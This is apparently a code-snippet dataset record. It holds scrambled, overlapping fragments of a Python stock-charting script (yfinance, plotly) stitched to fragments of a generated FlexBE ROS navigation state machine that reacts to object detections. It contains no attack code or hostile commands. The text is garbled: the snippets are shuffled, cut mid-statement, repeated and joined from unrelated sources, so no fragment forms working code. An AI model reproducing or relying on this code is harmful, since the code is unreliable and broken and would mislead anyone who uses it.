label=\"1y\", step=\"year\", stepmode=\"backward\"), dict(step=\"all\") ]) ), type=\"date\" )", "ticker_obj.info print() printmd('Business Summary: ' + ticker_info['longBusinessSummary']) market_cap = str(round(ticker_info['marketCap']/1000000000,2))", "= frame['Norm Close'] start_end_prices[ticker] = {'start_price': frame.iloc[0]['Close'], 'end_price': frame.iloc[-1]['Close']} closing_90_days.append(closing_prices.iloc[-90:].to_frame().rename(columns", "True, rangeslider_thickness = 0.1, row=2, col=1) fig.update_yaxes(title_text=\"Price\", row=1, col=1) fig.update_layout(title=ticker,", "closing_prices_ma, mode = 'lines', name = '7D Close Moving Average'),", "'Last 90 Days Close Pearson Correlation Heatmap', width = 500,", "400) fig2.show() else: fig2 = go.Figure() fig2.add_trace(go.Scatter(x = closing_90_days[0].loc[:, tickers[0]],", "timedelta def plot_and_get_info(ticker, start = None, end = None, ma", "visible=True, thickness = 0.1 ), type=\"date\" ) ) fig.show() printmd('Given", "600, xaxis=dict( rangeselector=dict( buttons=list([ dict(count=7, label=\"1w\", step=\"day\", stepmode=\"backward\"), dict(count=1, label=\"1m\",", "tradesdf, crypto = 'no'): trade_history = tradesdf[tradesdf['Symbol'] == ticker].reset_index(drop=True) if", "avg10d_vol = str(round(ticker_info['averageDailyVolume10Day']/1000000,2)) + 'M' most_recent_vol = str(round(ticker_info['volume']/1000000,2)) + 'M'", "'Norm Close')) fig2.update_layout(title = ', '.join(tickers) + ' Last 90", "for i in range(len(trade_history)): trade_date = trade_history.loc[i, 'Date'] price =", "' Last 90 Days Correlation', xaxis_title = tickers[0], yaxis_title =", "ma == 'yes': closing_prices_ma = frame['Close'].rolling(7).mean() fig.add_trace(go.Scatter(x = closing_prices_ma.index, y", "ticker_info = ticker_obj.info print() printmd('Business Summary: ' + ticker_info['longBusinessSummary']) market_cap", "= trade_history.loc[i, 'Quantity'] total = trade_history.loc[i, 'Total'] side = trade_history.loc[i,", "ticker_obj.history(period = 'max') if start and end: start_date, end_date =", "- timedelta(150)).strftime(\"%Y-%m-%d\") today_date = date.today().strftime(\"%Y-%m-%d\") frame = ticker_hist.loc[start_date:today_date] closing_prices =", "ticker_info['pegRatio'] forwardeps = ticker_info['forwardEps'] trailingeps = ticker_info['trailingEps'] shares_outstanding = str(round(ticker_info['sharesOutstanding']/1000000,2))", "= make_subplots(rows=2, cols=1, shared_xaxes=True, vertical_spacing=0.03, row_heights = [0.8, 0.2]) fig.add_trace(go.Scatter(x", "'7D Close Moving Average'), row = 1, col = 1)", "name = '7D Close Moving Average'), row = 1, col", "Float', 'Short % of Float (Prev Mo)'], columns = ['Info'])", "+= '-USD' ticker_obj = yf.Ticker(ticker) ticker_hist = ticker_obj.history(period = 'max')", "'M' shares_short = str(round(ticker_info['sharesShort']/1000000,2)) + 'M' shares_short_perc_outstanding = str(round(ticker_info['sharesPercentSharesOut']*100,2)) +", "= go.Figure() fig2.add_trace(go.Scatter(x = closing_90_days[0].loc[:, tickers[0]], y = closing_90_days[1].loc[:, tickers[1]]," ]
[ "Created on Sat Jul 18 2020 @author: TG4 ''' class", "autonomy={'none': Autonomy.Off, 'Obstacle': Autonomy.Off, 'Left': Autonomy.Off, 'Right': Autonomy.Off}, remapping={'input_value': 'detected',", "x:58 y:69 OperatableStateMachine.add('w1', WaitState(wait_time=1), transitions={'done': 's1'}, autonomy={'done': Autonomy.Off}) # x:1090", "self.add_behavior(go_straightSM, 'go_straight_2') self.add_behavior(go_straightSM, 'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance') # Additional initialization code", "'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:55 y:196 OperatableStateMachine.add('s1',", "self.add_behavior(go_straightSM, 'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance') # Additional initialization code can be", "transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:55", "# x:906 y:276 OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM, 'go_straight'), transitions={'finished': 'w2', 'failed': 'failed'},", "x:605 y:337 _state_machine = OperatableStateMachine(outcomes=['finished', 'failed']) # Additional creation code", "'go_straight_2') self.add_behavior(go_straightSM, 'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance') # Additional initialization code can", "blocking=True, clear=False), transitions={'received': 'carb1', 'unavailable': 'w1'}, autonomy={'received': Autonomy.Off, 'unavailable': Autonomy.Off},", "file is generated again. # # Only code inside the", "will be kept. # ########################################################### from flexbe_core import Behavior, Autonomy,", "'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:679 y:118", "be added inside the following tags # [MANUAL_IMPORT] # [/MANUAL_IMPORT]", "of this behavior # references to used behaviors self.add_behavior(turn_rightSM, 'turn_right')", "y:337 _state_machine = OperatableStateMachine(outcomes=['finished', 'failed']) # Additional creation code can", "_state_machine: # x:58 y:69 OperatableStateMachine.add('w1', WaitState(wait_time=1), transitions={'done': 's1'}, autonomy={'done': Autonomy.Off})", "self.use_behavior(go_straightSM, 'go_straight_3'), transitions={'finished': 'turn_right', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit})", "# [MANUAL_INIT] # [/MANUAL_INIT] # Behavior comments: def create(self): #", "Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:55 y:196 OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True, clear=False),", "x:715 y:484 OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM, 'go_straight_3'), transitions={'finished': 'turn_right', 'failed': 'failed'}, autonomy={'finished':", "is generated again. # # Only code inside the [MANUAL]", "x:958 y:119 OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM, 'turn_left'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished':", "'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) return _state_machine # Private functions", "'failed': Autonomy.Inherit}) # x:679 y:118 OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM, 'go_straight_2'), transitions={'finished': 'turn_left',", "functions can be added inside the following tags # [MANUAL_FUNC]", "y:419, x:605 y:337 _state_machine = OperatableStateMachine(outcomes=['finished', 'failed']) # Additional creation", "Autonomy.Off}) # x:1161 y:64 OperatableStateMachine.add('w5', WaitState(wait_time=1), transitions={'done': 'w1'}, autonomy={'done': Autonomy.Off})", "used behaviors self.add_behavior(turn_rightSM, 'turn_right') self.add_behavior(turn_leftSM, 'turn_left') self.add_behavior(go_straightSM, 'go_straight') self.add_behavior(go_straightSM, 'go_straight_2')", "kept. # ########################################################### from flexbe_core import Behavior, Autonomy, OperatableStateMachine, ConcurrencyContainer,", "x:381 y:495 OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'), transitions={'finished': 's1', 'failed': 'failed'}, autonomy={'finished':", "WaitState(wait_time=1), transitions={'done': 'w5'}, autonomy={'done': Autonomy.Off}) # x:1161 y:64 OperatableStateMachine.add('w5', WaitState(wait_time=1),", "# x:55 y:196 OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True, clear=False), transitions={'received': 'carb1', 'unavailable':", "Autonomy.Inherit}) # x:55 y:196 OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True, clear=False), transitions={'received': 'carb1',", "# Additional imports can be added inside the following tags", "return _state_machine # Private functions can be added inside the", "Carbonara(), transitions={'none': 'go_straight', 'Obstacle': 'Obstacle_Avoidance', 'Left': 'go_straight_2', 'Right': 'go_straight_3'}, autonomy={'none':", "'go_straight'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) #", "'detected', 'Distance': 'Distance'}) # x:1180 y:246 OperatableStateMachine.add('w2', WaitState(wait_time=1), transitions={'done': 'w5'},", "'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:715 y:484 OperatableStateMachine.add('go_straight_3',", "y:64 OperatableStateMachine.add('w5', WaitState(wait_time=1), transitions={'done': 'w1'}, autonomy={'done': Autonomy.Off}) # x:958 y:119", "# # Only code inside the [MANUAL] tags will be", "'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:55 y:196 OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes',", "Autonomy.Inherit, 'failed': Autonomy.Inherit}) return _state_machine # Private functions can be", "comments: def create(self): # x:1683 y:419, x:605 y:337 _state_machine =", "transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:679", "OperatableStateMachine.add('carb1', Carbonara(), transitions={'none': 'go_straight', 'Obstacle': 'Obstacle_Avoidance', 'Left': 'go_straight_2', 'Right': 'go_straight_3'},", "************************** # # Manual changes may get lost if file", "PriorityContainer, Logger from flexbe_states.wait_state import WaitState from flexbe_navigation_states.turn_right_sm import turn_rightSM", "Sat Jul 18 2020 @author: TG4 ''' class NavigationSM(Behavior): '''", "y:484 OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM, 'go_straight_3'), transitions={'finished': 'turn_right', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit,", "OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM, 'turn_right'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed':", "can be added inside the following tags # [MANUAL_CREATE] #", "'failed': Autonomy.Inherit}) # x:55 y:196 OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True, clear=False), transitions={'received':", "be added inside the following tags # [MANUAL_INIT] # [/MANUAL_INIT]", "import turn_leftSM from flexbe_navigation_states.go_straight_sm import go_straightSM from flexbe_navigation_states.obstacle_avoidance_sm import Obstacle_AvoidanceSM", "# [MANUAL_CREATE] # [/MANUAL_CREATE] with _state_machine: # x:58 y:69 OperatableStateMachine.add('w1',", "# Behavior comments: def create(self): # x:1683 y:419, x:605 y:337", "create(self): # x:1683 y:419, x:605 y:337 _state_machine = OperatableStateMachine(outcomes=['finished', 'failed'])", "flexbe_states.subscriber_state import SubscriberState from flexbe_utility_states.MARCO import Carbonara from flexbe_navigation_states.turn_left_sm import", "Autonomy.Off, 'Left': Autonomy.Off, 'Right': Autonomy.Off}, remapping={'input_value': 'detected', 'Distance': 'Distance'}) #", "Autonomy.Off}, remapping={'message': 'detected'}) # x:286 y:212 OperatableStateMachine.add('carb1', Carbonara(), transitions={'none': 'go_straight',", "'turn_right'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) #", "OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True, clear=False), transitions={'received': 'carb1', 'unavailable': 'w1'}, autonomy={'received': Autonomy.Off,", "x:906 y:276 OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM, 'go_straight'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished':", "added inside the following tags # [MANUAL_IMPORT] # [/MANUAL_IMPORT] '''", "# x:1090 y:488 OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM, 'turn_right'), transitions={'finished': 'w2', 'failed': 'failed'},", "autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:715 y:484 OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM, 'go_straight_3'),", "class NavigationSM(Behavior): ''' Integrated behaviour ''' def __init__(self): super(NavigationSM, self).__init__()", "initialization code can be added inside the following tags #", "'s1'}, autonomy={'done': Autonomy.Off}) # x:1090 y:488 OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM, 'turn_right'), transitions={'finished':", "self.use_behavior(turn_leftSM, 'turn_left'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit})", "transitions={'received': 'carb1', 'unavailable': 'w1'}, autonomy={'received': Autonomy.Off, 'unavailable': Autonomy.Off}, remapping={'message': 'detected'})", "'turn_left') self.add_behavior(go_straightSM, 'go_straight') self.add_behavior(go_straightSM, 'go_straight_2') self.add_behavior(go_straightSM, 'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance') #", "# x:286 y:212 OperatableStateMachine.add('carb1', Carbonara(), transitions={'none': 'go_straight', 'Obstacle': 'Obstacle_Avoidance', 'Left':", "autonomy={'done': Autonomy.Off}) # x:1090 y:488 OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM, 'turn_right'), transitions={'finished': 'w2',", "can be added inside the following tags # [MANUAL_IMPORT] #", "# ************************** # # Manual changes may get lost if", "super(NavigationSM, self).__init__() self.name = 'Navigation' # parameters of this behavior", "[/MANUAL_CREATE] with _state_machine: # x:58 y:69 OperatableStateMachine.add('w1', WaitState(wait_time=1), transitions={'done': 's1'},", "WaitState(wait_time=1), transitions={'done': 's1'}, autonomy={'done': Autonomy.Off}) # x:1090 y:488 OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM,", "TG4 ''' class NavigationSM(Behavior): ''' Integrated behaviour ''' def __init__(self):", "tags # [MANUAL_IMPORT] # [/MANUAL_IMPORT] ''' Created on Sat Jul", "'Left': Autonomy.Off, 'Right': Autonomy.Off}, remapping={'input_value': 'detected', 'Distance': 'Distance'}) # x:1180", "following tags # [MANUAL_CREATE] # [/MANUAL_CREATE] with _state_machine: # x:58", "transitions={'done': 'w5'}, autonomy={'done': Autonomy.Off}) # x:1161 y:64 OperatableStateMachine.add('w5', WaitState(wait_time=1), transitions={'done':", "the following tags # [MANUAL_IMPORT] # [/MANUAL_IMPORT] ''' Created on", "self.add_behavior(go_straightSM, 'go_straight') self.add_behavior(go_straightSM, 'go_straight_2') self.add_behavior(go_straightSM, 'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance') # Additional", "from flexbe_navigation_states.turn_left_sm import turn_leftSM from flexbe_navigation_states.go_straight_sm import go_straightSM from flexbe_navigation_states.obstacle_avoidance_sm", "transitions={'finished': 'turn_left', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:715", "''' class NavigationSM(Behavior): ''' Integrated behaviour ''' def __init__(self): super(NavigationSM,", "'turn_left', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:715 y:484", "'failed': Autonomy.Inherit}) # x:715 y:484 OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM, 'go_straight_3'), transitions={'finished': 'turn_right',", "WaitState from flexbe_navigation_states.turn_right_sm import turn_rightSM from flexbe_states.subscriber_state import SubscriberState from", "'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:715 y:484 OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM,", "generated again. # # Only code inside the [MANUAL] tags", "# x:1180 y:246 OperatableStateMachine.add('w2', WaitState(wait_time=1), transitions={'done': 'w5'}, autonomy={'done': Autonomy.Off}) #", "Autonomy.Inherit}) return _state_machine # Private functions can be added inside", "@author: TG4 ''' class NavigationSM(Behavior): ''' Integrated behaviour ''' def", "import turn_rightSM from flexbe_states.subscriber_state import SubscriberState from flexbe_utility_states.MARCO import Carbonara", "def __init__(self): super(NavigationSM, self).__init__() self.name = 'Navigation' # parameters of", "'Obstacle': Autonomy.Off, 'Left': Autonomy.Off, 'Right': Autonomy.Off}, remapping={'input_value': 'detected', 'Distance': 'Distance'})", "flexbe_utility_states.MARCO import Carbonara from flexbe_navigation_states.turn_left_sm import turn_leftSM from flexbe_navigation_states.go_straight_sm import", "'failed': Autonomy.Inherit}) return _state_machine # Private functions can be added", "behavior # references to used behaviors self.add_behavior(turn_rightSM, 'turn_right') self.add_behavior(turn_leftSM, 'turn_left')", "Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:715 y:484 OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM, 'go_straight_3'), transitions={'finished':", "x:1090 y:488 OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM, 'turn_right'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished':", "added inside the following tags # [MANUAL_CREATE] # [/MANUAL_CREATE] with", "y:119 OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM, 'turn_left'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit,", "if file is generated again. # # Only code inside", "# x:958 y:119 OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM, 'turn_left'), transitions={'finished': 'w2', 'failed': 'failed'},", "behaviour ''' def __init__(self): super(NavigationSM, self).__init__() self.name = 'Navigation' #", "may get lost if file is generated again. # #", "OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM, 'go_straight_2'), transitions={'finished': 'turn_left', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed':", "[/MANUAL_INIT] # Behavior comments: def create(self): # x:1683 y:419, x:605", "Autonomy.Off, 'unavailable': Autonomy.Off}, remapping={'message': 'detected'}) # x:286 y:212 OperatableStateMachine.add('carb1', Carbonara(),", "'turn_left'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) #", "_state_machine # Private functions can be added inside the following", "get lost if file is generated again. # # Only", "on Sat Jul 18 2020 @author: TG4 ''' class NavigationSM(Behavior):", "'w1'}, autonomy={'done': Autonomy.Off}) # x:958 y:119 OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM, 'turn_left'), transitions={'finished':", "self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'), transitions={'finished': 's1', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit})", "autonomy={'received': Autonomy.Off, 'unavailable': Autonomy.Off}, remapping={'message': 'detected'}) # x:286 y:212 OperatableStateMachine.add('carb1',", "# WARNING: Generated code! # # ************************** # # Manual", "Autonomy.Off, 'Obstacle': Autonomy.Off, 'Left': Autonomy.Off, 'Right': Autonomy.Off}, remapping={'input_value': 'detected', 'Distance':", "transitions={'finished': 'turn_right', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:381", "OperatableStateMachine, ConcurrencyContainer, PriorityContainer, Logger from flexbe_states.wait_state import WaitState from flexbe_navigation_states.turn_right_sm", "Carbonara from flexbe_navigation_states.turn_left_sm import turn_leftSM from flexbe_navigation_states.go_straight_sm import go_straightSM from", "Autonomy.Off}) # x:1090 y:488 OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM, 'turn_right'), transitions={'finished': 'w2', 'failed':", "Generated code! # # ************************** # # Manual changes may", "# x:58 y:69 OperatableStateMachine.add('w1', WaitState(wait_time=1), transitions={'done': 's1'}, autonomy={'done': Autonomy.Off}) #", "code inside the [MANUAL] tags will be kept. # ###########################################################", "import Carbonara from flexbe_navigation_states.turn_left_sm import turn_leftSM from flexbe_navigation_states.go_straight_sm import go_straightSM", "to used behaviors self.add_behavior(turn_rightSM, 'turn_right') self.add_behavior(turn_leftSM, 'turn_left') self.add_behavior(go_straightSM, 'go_straight') self.add_behavior(go_straightSM,", "# x:381 y:495 OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'), transitions={'finished': 's1', 'failed': 'failed'},", "turn_leftSM from flexbe_navigation_states.go_straight_sm import go_straightSM from flexbe_navigation_states.obstacle_avoidance_sm import Obstacle_AvoidanceSM #", "be added inside the following tags # [MANUAL_CREATE] # [/MANUAL_CREATE]", "SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True, clear=False), transitions={'received': 'carb1', 'unavailable': 'w1'}, autonomy={'received': Autonomy.Off, 'unavailable':", "Additional creation code can be added inside the following tags", "utf-8 -*- ########################################################### # WARNING: Generated code! # # **************************", "Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:906 y:276 OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM, 'go_straight'), transitions={'finished':", "'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:906 y:276 OperatableStateMachine.add('go_straight',", "creation code can be added inside the following tags #", "y:196 OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True, clear=False), transitions={'received': 'carb1', 'unavailable': 'w1'}, autonomy={'received':", "Only code inside the [MANUAL] tags will be kept. #", "autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:679 y:118 OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM, 'go_straight_2'),", "# ########################################################### from flexbe_core import Behavior, Autonomy, OperatableStateMachine, ConcurrencyContainer, PriorityContainer,", "self.add_behavior(turn_rightSM, 'turn_right') self.add_behavior(turn_leftSM, 'turn_left') self.add_behavior(go_straightSM, 'go_straight') self.add_behavior(go_straightSM, 'go_straight_2') self.add_behavior(go_straightSM, 'go_straight_3')", "OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM, 'go_straight_3'), transitions={'finished': 'turn_right', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed':", "references to used behaviors self.add_behavior(turn_rightSM, 'turn_right') self.add_behavior(turn_leftSM, 'turn_left') self.add_behavior(go_straightSM, 'go_straight')", "# parameters of this behavior # references to used behaviors", "# Additional initialization code can be added inside the following", "from flexbe_core import Behavior, Autonomy, OperatableStateMachine, ConcurrencyContainer, PriorityContainer, Logger from", "OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM, 'turn_left'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed':", "'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:679 y:118 OperatableStateMachine.add('go_straight_2',", "from flexbe_utility_states.MARCO import Carbonara from flexbe_navigation_states.turn_left_sm import turn_leftSM from flexbe_navigation_states.go_straight_sm", "'Navigation' # parameters of this behavior # references to used", "# x:679 y:118 OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM, 'go_straight_2'), transitions={'finished': 'turn_left', 'failed': 'failed'},", "''' def __init__(self): super(NavigationSM, self).__init__() self.name = 'Navigation' # parameters", "'Obstacle_Avoidance'), transitions={'finished': 's1', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) return", "'Distance': 'Distance'}) # x:1180 y:246 OperatableStateMachine.add('w2', WaitState(wait_time=1), transitions={'done': 'w5'}, autonomy={'done':", "from flexbe_states.wait_state import WaitState from flexbe_navigation_states.turn_right_sm import turn_rightSM from flexbe_states.subscriber_state", "self.name = 'Navigation' # parameters of this behavior # references", "Autonomy.Inherit}) # x:679 y:118 OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM, 'go_straight_2'), transitions={'finished': 'turn_left', 'failed':", "python # -*- coding: utf-8 -*- ########################################################### # WARNING: Generated", "# Additional creation code can be added inside the following", "# references to used behaviors self.add_behavior(turn_rightSM, 'turn_right') self.add_behavior(turn_leftSM, 'turn_left') self.add_behavior(go_straightSM,", "can be added inside the following tags # [MANUAL_FUNC] #", "'go_straight_3') self.add_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance') # Additional initialization code can be added", "parameters of this behavior # references to used behaviors self.add_behavior(turn_rightSM,", "tags will be kept. # ########################################################### from flexbe_core import Behavior,", "self.use_behavior(turn_rightSM, 'turn_right'), transitions={'finished': 'w2', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit})", "inside the following tags # [MANUAL_INIT] # [/MANUAL_INIT] # Behavior", "# x:1683 y:419, x:605 y:337 _state_machine = OperatableStateMachine(outcomes=['finished', 'failed']) #", "changes may get lost if file is generated again. #", "'Obstacle_Avoidance', 'Left': 'go_straight_2', 'Right': 'go_straight_3'}, autonomy={'none': Autonomy.Off, 'Obstacle': Autonomy.Off, 'Left':", "Autonomy.Off, 'Right': Autonomy.Off}, remapping={'input_value': 'detected', 'Distance': 'Distance'}) # x:1180 y:246", "clear=False), transitions={'received': 'carb1', 'unavailable': 'w1'}, autonomy={'received': Autonomy.Off, 'unavailable': Autonomy.Off}, remapping={'message':", "Manual changes may get lost if file is generated again.", "# [/MANUAL_INIT] # Behavior comments: def create(self): # x:1683 y:419,", "self).__init__() self.name = 'Navigation' # parameters of this behavior #", "flexbe_states.wait_state import WaitState from flexbe_navigation_states.turn_right_sm import turn_rightSM from flexbe_states.subscriber_state import", "'Right': 'go_straight_3'}, autonomy={'none': Autonomy.Off, 'Obstacle': Autonomy.Off, 'Left': Autonomy.Off, 'Right': Autonomy.Off},", "# # ************************** # # Manual changes may get lost", "# x:715 y:484 OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM, 'go_straight_3'), transitions={'finished': 'turn_right', 'failed': 'failed'},", "transitions={'done': 'w1'}, autonomy={'done': Autonomy.Off}) # x:958 y:119 OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM, 'turn_left'),", "Private functions can be added inside the following tags #", "transitions={'none': 'go_straight', 'Obstacle': 'Obstacle_Avoidance', 'Left': 'go_straight_2', 'Right': 'go_straight_3'}, autonomy={'none': Autonomy.Off,", "from flexbe_states.subscriber_state import SubscriberState from flexbe_utility_states.MARCO import Carbonara from flexbe_navigation_states.turn_left_sm", "'w1'}, autonomy={'received': Autonomy.Off, 'unavailable': Autonomy.Off}, remapping={'message': 'detected'}) # x:286 y:212", "Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:679 y:118 OperatableStateMachine.add('go_straight_2', self.use_behavior(go_straightSM, 'go_straight_2'), transitions={'finished':", "Autonomy.Inherit}) # x:715 y:484 OperatableStateMachine.add('go_straight_3', self.use_behavior(go_straightSM, 'go_straight_3'), transitions={'finished': 'turn_right', 'failed':", "OperatableStateMachine.add('Obstacle_Avoidance', self.use_behavior(Obstacle_AvoidanceSM, 'Obstacle_Avoidance'), transitions={'finished': 's1', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed':", "'w5'}, autonomy={'done': Autonomy.Off}) # x:1161 y:64 OperatableStateMachine.add('w5', WaitState(wait_time=1), transitions={'done': 'w1'},", "this behavior # references to used behaviors self.add_behavior(turn_rightSM, 'turn_right') self.add_behavior(turn_leftSM,", "code! # # ************************** # # Manual changes may get", "OperatableStateMachine.add('w5', WaitState(wait_time=1), transitions={'done': 'w1'}, autonomy={'done': Autonomy.Off}) # x:958 y:119 OperatableStateMachine.add('turn_left',", "autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) # x:906 y:276 OperatableStateMachine.add('go_straight', self.use_behavior(go_straightSM, 'go_straight'),", "Additional initialization code can be added inside the following tags", "go_straightSM from flexbe_navigation_states.obstacle_avoidance_sm import Obstacle_AvoidanceSM # Additional imports can be", "'go_straight_2', 'Right': 'go_straight_3'}, autonomy={'none': Autonomy.Off, 'Obstacle': Autonomy.Off, 'Left': Autonomy.Off, 'Right':", "2020 @author: TG4 ''' class NavigationSM(Behavior): ''' Integrated behaviour '''", "WaitState(wait_time=1), transitions={'done': 'w1'}, autonomy={'done': Autonomy.Off}) # x:958 y:119 OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM,", "# [MANUAL_IMPORT] # [/MANUAL_IMPORT] ''' Created on Sat Jul 18", "'go_straight_2'), transitions={'finished': 'turn_left', 'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) #", "[MANUAL_CREATE] # [/MANUAL_CREATE] with _state_machine: # x:58 y:69 OperatableStateMachine.add('w1', WaitState(wait_time=1),", "inside the following tags # [MANUAL_IMPORT] # [/MANUAL_IMPORT] ''' Created", "tags # [MANUAL_CREATE] # [/MANUAL_CREATE] with _state_machine: # x:58 y:69", "autonomy={'done': Autonomy.Off}) # x:958 y:119 OperatableStateMachine.add('turn_left', self.use_behavior(turn_leftSM, 'turn_left'), transitions={'finished': 'w2',", "def create(self): # x:1683 y:419, x:605 y:337 _state_machine = OperatableStateMachine(outcomes=['finished',", "x:55 y:196 OperatableStateMachine.add('s1', SubscriberState(topic='/darknet_ros/bounding_boxes', blocking=True, clear=False), transitions={'received': 'carb1', 'unavailable': 'w1'},", "remapping={'message': 'detected'}) # x:286 y:212 OperatableStateMachine.add('carb1', Carbonara(), transitions={'none': 'go_straight', 'Obstacle':", "OperatableStateMachine.add('w2', WaitState(wait_time=1), transitions={'done': 'w5'}, autonomy={'done': Autonomy.Off}) # x:1161 y:64 OperatableStateMachine.add('w5',", "'carb1', 'unavailable': 'w1'}, autonomy={'received': Autonomy.Off, 'unavailable': Autonomy.Off}, remapping={'message': 'detected'}) #", "transitions={'done': 's1'}, autonomy={'done': Autonomy.Off}) # x:1090 y:488 OperatableStateMachine.add('turn_right', self.use_behavior(turn_rightSM, 'turn_right'),", "[MANUAL_IMPORT] # [/MANUAL_IMPORT] ''' Created on Sat Jul 18 2020", "'failed': 'failed'}, autonomy={'finished': Autonomy.Inherit, 'failed': Autonomy.Inherit}) return _state_machine # Private", "<gh_stars>0 #!/usr/bin/env python # -*- coding: utf-8 -*- ########################################################### #", "from flexbe_navigation_states.turn_right_sm import turn_rightSM from flexbe_states.subscriber_state import SubscriberState from 